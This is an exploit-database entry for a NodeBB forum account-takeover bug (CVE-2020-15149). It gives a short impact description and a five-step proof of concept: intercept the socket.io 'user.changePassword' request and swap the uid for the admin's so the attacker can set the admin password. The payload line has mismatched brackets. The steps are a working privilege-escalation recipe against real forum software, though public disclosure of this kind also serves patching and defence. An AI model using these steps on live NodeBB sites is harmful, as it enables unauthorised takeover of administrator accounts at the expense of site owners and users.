# Exploit Title: NodeBB Forum 1.12.2-1.14.2 - Account Takeover # Date: 2020-08-18 # Exploit Author: Muhammed Eren Uygun # Vendor Homepage: https://nodebb.org/ # Software Link: https://github.com/NodeBB/NodeBB # Version: 1.12.2-1.14.2 # Tested on: Linux # CVE : CVE-2020-15149 - https://github.com/NodeBB/NodeBB/security/advisories/GHSA-hr66-c8pg-5mg7 Impact: ---------------------- A bug in this validation logic made it possible to change the password of any user on a running NodeBB forum by sending a specially crafted socket.io call to the server. This could lead to a privilege escalation event due via an account takeover. Bug PoC: ---------------------- Blog: https://medium.com/bugbountywriteup/privilege-escalation-via-account-takeover-on-nodebb-forum-software-512-a593a7b1b4a4 1- Create a user 2- Go to password change page 3- Change password with proxy 427["user.changePassword",("currentPassword":"Test.12345!","newPassword":"Admin123!","uid":5)]) 4- Replace the uid on the request with 1, which is the uid value of the admin user, and send the request. 5- So you can login with this password to admin user.